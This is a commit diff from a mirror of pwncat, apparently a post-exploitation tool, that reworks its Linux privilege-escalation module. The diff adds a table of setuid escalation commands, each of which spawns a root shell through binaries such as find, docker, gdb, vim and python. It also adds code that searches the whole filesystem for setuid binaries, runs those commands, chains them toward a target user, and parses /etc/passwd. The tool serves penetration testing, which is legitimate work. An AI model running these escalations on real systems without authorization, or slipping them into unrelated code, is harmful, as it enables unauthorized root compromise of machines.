1
0
mirror of https://github.com/calebstewart/pwncat.git synced 2024-11-30 12:24:14 +01:00

Semi-working privesc framework

This commit is contained in:
Caleb Stewart 2020-05-08 21:49:51 -04:00
parent e5867df0a0
commit 2d8c101712
3 changed files with 151 additions and 119 deletions

View File

@ -23,7 +23,7 @@ class Finder:
for m in [SetuidMethod, SuMethod]:
try:
m.check(self.pty)
self.methods.append(m())
self.methods.append(m(self.pty))
except PrivescError:
pass
@ -40,7 +40,7 @@ class Finder:
current_user = self.pty.current_user
if (
target_user == current_user["name"]
or current_user["id"] == 0
or current_user["uid"] == 0
or current_user["name"] == "root"
):
raise PrivescError(f"you are already {current_user['name']}")
@ -48,7 +48,7 @@ class Finder:
if starting_user is None:
starting_user = current_user
if len(chain) > depth:
if depth is not None and len(chain) > depth:
raise PrivescError("max depth reached")
# Enumerate escalation options for this user
@ -60,8 +60,8 @@ class Finder:
for tech in techniques:
if tech.user == target_user:
try:
tech.method.execute(tech)
chain.append(tech)
exit_command = tech.method.execute(tech)
chain.append((tech, exit_command))
return chain
except PrivescError:
pass
@ -72,14 +72,15 @@ class Finder:
if tech.user == target_user:
continue
try:
tech.method.execute(tech)
chain.append(tech)
exit_command = tech.method.execute(tech)
chain.append((tech, exit_command))
except PrivescError:
continue
try:
return self.escalate(target_user, depth, chain, starting_user)
except PrivescError:
self.pty.run("exit", wait=False)
tech, exit_command = chain[-1]
self.pty.run(exit_command, wait=False)
chain.pop()
raise PrivescError(f"no route to {target_user} found")

View File

@ -11,49 +11,56 @@ from pwncat.privesc.base import Method, PrivescError, Technique
# https://gtfobins.github.io/#+suid
known_setuid_privescs = {
"env": ["{} /bin/bash -p"],
"bash": ["{} -p"],
"chmod": ["{} +s /bin/bash", "/bin/bash -p"],
"chroot": ["{} / /bin/bash -p"],
"dash": ["{} -p"],
"ash": ["{}"],
"docker": ["{} run -v /:/mnt --rm -it alpine chroot /mnt sh"],
"emacs": ["""{} -Q -nw --eval '(term "/bin/sh -p")'"""],
"find": ["{} . -exec /bin/sh -p \\; -quit"],
"flock": ["{} -u / /bin/sh -p"],
"gdb": [
"""{} -nx -ex 'python import os; os.execl("/bin/bash", "bash", "-p")' -ex quit"""
],
"logsave": ["{} /dev/null /bin/bash -i -p"],
"make": ["COMMAND='/bin/sh -p'", """{} -s --eval=$'x:\\n\\t-'\"$COMMAND\"""",],
"nice": ["{} /bin/bash -p"],
"node": [
"""{} -e 'require("child_process").spawn("/bin/sh", ["-p"], {stdio: [0, 1, 2]});'"""
],
"nohup": ["""{} /bin/sh -p -c \"sh -p <$(tty) >$(tty) 2>$(tty)\""""],
"perl": ["""{} -e 'exec "/bin/sh";'"""],
"php": ["""{} -r \"pcntl_exec('/bin/sh', ['-p']);\""""],
"python": ["""{} -c 'import os; os.execl("/bin/sh", "sh", "-p")'"""],
"rlwrap": ["{} -H /dev/null /bin/sh -p"],
"rpm": ["""{} --eval '%{lua:os.execute("/bin/sh", "-p")}'"""],
"rpmquery": ["""{} --eval '%{lua:posix.exec("/bin/sh", "-p")}'"""],
"rsync": ["""{} -e 'sh -p -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null"""],
"run-parts": ["""{} --new-session --regex '^sh$' /bin --arg='-p'"""],
"rvim": [
"""{} -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'"""
],
"setarch": ["""{} $(arch) /bin/sh -p"""],
"start-stop-daemon": ["""{} -n $RANDOM -S -x /bin/sh -- -p"""],
"strace": ["""{} -o /dev/null /bin/sh -p"""],
"tclsh": ["""{}""", """exec /bin/sh -p <@stdin >@stdout 2>@stderr; exit"""],
"tclsh8.6": ["""{}""", """exec /bin/sh -p <@stdin >@stdout 2>@stderr; exit""",],
"taskset": ["""{} 1 /bin/sh -p"""],
"time": ["""{} /bin/sh -p"""],
"timeout": ["""{} 7d /bin/sh -p"""],
"unshare": ["""{} -r /bin/sh"""],
"vim": ["""{} -c ':!/bin/sh' -c ':q'"""],
"watch": ["""{} -x sh -c 'reset; exec sh 1>&0 2>&0'"""],
"zsh": ["""{}"""],
"env": ("{} /bin/bash -p", "exit"),
"bash": ("{} -p", "exit"),
"chmod": ("{} +s /bin/bash\n/bin/bash -p", "exit"),
"chroot": ("{} / /bin/bash -p", "exit"),
"dash": ("{} -p", "exit"),
"ash": ("{}", "exit"),
"docker": ("{} run -v /:/mnt --rm -it alpine chroot /mnt sh", "exit"),
"emacs": ("""{} -Q -nw --eval '(term "/bin/sh -p")'""", "exit"),
"find": ("{} . -exec /bin/sh -p \\; -quit", "exit"),
"flock": ("{} -u / /bin/sh -p", "exit"),
"gdb": (
"""{} -nx -ex 'python import os; os.execl("/bin/bash", "bash", "-p")' -ex quit""",
"exit",
),
"logsave": ("{} /dev/null /bin/bash -i -p", "exit"),
"make": (
"COMMAND='/bin/sh -p'",
"""{} -s --eval=$'x:\\n\\t-'\"$COMMAND\"""",
"exit",
),
"nice": ("{} /bin/bash -p", "exit"),
"node": (
"""{} -e 'require("child_process").spawn("/bin/sh", ("-p"), {stdio: (0, 1, 2)});'""",
"exit",
),
"nohup": ("""{} /bin/sh -p -c \"sh -p <$(tty) >$(tty) 2>$(tty)\"""", "exit"),
"perl": ("""{} -e 'exec "/bin/sh";'""", "exit"),
"php": ("""{} -r \"pcntl_exec('/bin/sh', ('-p'));\"""", "exit"),
"python": ("""{} -c 'import os; os.execl("/bin/sh", "sh", "-p")'""", "exit"),
"rlwrap": ("{} -H /dev/null /bin/sh -p", "exit"),
"rpm": ("""{} --eval '%{lua:os.execute("/bin/sh", "-p")}'""", "exit"),
"rpmquery": ("""{} --eval '%{lua:posix.exec("/bin/sh", "-p")}'""", "exit"),
"rsync": ("""{} -e 'sh -p -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null""", "exit"),
"run-parts": ("""{} --new-session --regex '^sh$' /bin --arg='-p'""", "exit"),
"rvim": (
"""{} -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'""",
"exit",
),
"setarch": ("""{} $(arch) /bin/sh -p""", "exit"),
"start-stop-daemon": ("""{} -n $RANDOM -S -x /bin/sh -- -p""", "exit"),
"strace": ("""{} -o /dev/null /bin/sh -p""", "exit"),
"tclsh": ("""{}\nexec /bin/sh -p <@stdin >@stdout 2>@stderr; exit""", "exit"),
"tclsh8.6": ("""{}\nexec /bin/sh -p <@stdin >@stdout 2>@stderr; exit""", "exit"),
"taskset": ("""{} 1 /bin/sh -p""", "exit"),
"time": ("""{} /bin/sh -p""", "exit"),
"timeout": ("""{} 7d /bin/sh -p""", "exit"),
"unshare": ("""{} -r /bin/sh""", "exit"),
"vim": ("""{} -c ':!/bin/sh' -c ':q'""", "exit"),
"watch": ("""{} -x sh -c 'reset; exec sh 1>&0 2>&0'""", "exit"),
"zsh": ("""{}""", "exit"),
# need to add in cp trick to overwrite /etc/passwd
# need to add in curl trick to overwrite /etc/passwd
# need to add in wget trick to overwrite /etc/passwd
@ -73,62 +80,82 @@ known_setuid_privescs = {
class SetuidMethod(Method):
name = "setuid"
BINARIES = ["find"]
BINARIES = ["find", "stat"]
def __init__(self, pty: "pwncat.pty.PtyHandler"):
super(SetuidMethod, self).__init__(pty)
self.suid_paths = None
def find_suid(self):
# Spawn a find command to locate the setuid binaries
delim = self.pty.process("find / -perm -4000 -print 2>/dev/null")
files = []
self.suid_paths = {}
while True:
path = self.pty.recvuntil(b"\n").strip()
progress("searching for setuid binaries")
if delim in path:
break
files.append(path.decode("utf-8"))
for path in files:
user = (
self.pty.run(f"stat -c '%U' {shlex.quote(path)}")
.strip()
.decode("utf-8")
)
if user not in self.suid_paths:
self.suid_paths[user] = []
self.suid_paths[user].append(path)
def enumerate(self) -> List[Technique]:
""" Find all techniques known at this time """
def execute(self):
""" Look for setuid binaries and attempt to run"""
if self.suid_paths is None:
self.find_suid()
find = self.pty.which("find")
for user, paths in self.suid_paths.items():
for path in paths:
for name, cmd in known_setuid_privescs.items():
if os.path.basename(path) == name:
yield Technique(user, self, (path, name, cmd))
setuid_output = []
delim = self.pty.process(f"find / -user root -perm -4000 -print 2>/dev/null")
def execute(self, technique: Technique):
""" Run the specified technique """
while True:
line = self.pty.recvuntil(b"\n").strip()
progress("searching for setuid binaries")
path, name, commands = technique.ident
if delim in line:
break
setuid_output.append(line)
info(
f"attempting potential privesc with {Fore.GREEN}{Style.BRIGHT}{path}{Style.RESET_ALL}",
)
for suid in setuid_output:
suid = suid.decode("utf-8")
for privesc, commands in known_setuid_privescs.items():
if os.path.basename(suid) != privesc:
continue
before_shell_level = self.pty.run("echo $SHLVL").strip()
before_shell_level = int(before_shell_level) if before_shell_level != b"" else 0
info(
f"attempting potential privesc with {Fore.GREEN}{Style.BRIGHT}{suid}{Fore.RESET}{Style.RESET_ALL}",
)
# for each_command in commands:
# self.pty.run(each_command.format(path), wait=False)
before_shell_level = self.pty.run("echo $SHLVL").strip()
before_shell_level = (
int(before_shell_level) if before_shell_level != b"" else 0
)
# Run the start commands
self.pty.run(commands[0].format(path) + "\n")
for each_command in commands:
self.pty.run(each_command.format(suid), wait=False)
# sleep(0.1)
user = self.pty.run("whoami").strip().decode("utf-8")
if user == technique.user:
success("privesc succeeded")
return commands[1]
else:
error(f"privesc failed (still {user} looking for {technique.user})")
after_shell_level = self.pty.run("echo $SHLVL").strip()
after_shell_level = (
int(after_shell_level) if after_shell_level != b"" else 0
)
if after_shell_level > before_shell_level:
info("exiting spawned inner shell")
self.pty.run(commands[1], wait=False) # here be dragons
sleep(0.1)
user = self.pty.run("whoami").strip()
if user == b"root":
success("privesc succeeded")
return True
else:
error("privesc failed")
after_shell_level = self.pty.run("echo $SHLVL").strip()
after_shell_level = (
int(after_shell_level) if after_shell_level != b"" else 0
)
if after_shell_level > before_shell_level:
info("exiting spawned inner shell")
self.pty.run("exit", wait=False) # here be dragons
continue
error("no known setuid privescs found")
return False
raise PrivescError(f"escalation failed for {technique}")

View File

@ -210,7 +210,7 @@ class PtyHandler:
# We should always get a response within 3 seconds...
self.client.settimeout(1)
util.info("probing for prompt...", overlay=False)
util.info("probing for prompt...", overlay=True)
start = time.time()
prompt = b""
try:
@ -222,13 +222,13 @@ class PtyHandler:
# We assume if we got data before sending data, there is a prompt
if prompt != b"":
self.has_prompt = True
util.info(f"found a prompt", overlay=False)
util.info(f"found a prompt", overlay=True)
else:
self.has_prompt = False
util.info("no prompt observed", overlay=False)
util.info("no prompt observed", overlay=True)
# Send commands without a new line, and see if the characters are echoed
util.info("checking for echoing", overlay=False)
util.info("checking for echoing", overlay=True)
test_cmd = b"echo"
self.client.send(test_cmd)
response = b""
@ -241,10 +241,10 @@ class PtyHandler:
if response == test_cmd:
self.has_echo = True
util.info("found input echo", overlay=False)
util.info("found input echo", overlay=True)
else:
self.has_echo = False
util.info(f"no echo observed", overlay=False)
util.info(f"no echo observed", overlay=True)
self.client.send(b"\n")
response = self.client.recv(1)
@ -324,6 +324,8 @@ class PtyHandler:
util.info("synchronizing terminal state", overlay=True)
self.do_sync([])
self.privesc = privesc.Finder(self)
# Force the local TTY to enter raw mode
self.enter_raw()
@ -495,11 +497,18 @@ class PtyHandler:
parser = argparse.ArgumentParser(prog="privesc")
parser.add_argument(
"--method",
"-m",
choices=privesc.get_names(),
"--user",
"-u",
choices=[user for user in self.users],
default="root",
help="the target user",
)
parser.add_argument(
"--depth",
"-d",
type=int,
default=None,
help="set the privesc method (default: auto)",
help="Maximum depth for the privesc search (default: no maximum)",
)
try:
@ -509,17 +518,9 @@ class PtyHandler:
return
try:
# Locate an appropriate privesc class
PrivescClass = privesc.find(self, args.method)
self.privesc.escalate(args.user, args.depth)
except privesc.PrivescError as exc:
util.error(f"{exc}")
return
privesc_object = PrivescClass(self)
succeeded = privesc_object.execute()
if succeeded:
self.do_back([])
util.error(f"escalation failed: {exc}")
@with_parser
def do_download(self, args):
@ -864,9 +865,12 @@ class PtyHandler:
self.known_users = {}
passwd = self.run("cat /etc/passwd")
passwd = self.run("cat /etc/passwd").decode("utf-8")
for line in passwd.split("\n"):
line = line.split(":")
line = line.strip()
if line == "":
continue
line = line.strip().split(":")
user_data = {
"name": line[0],
"password": None,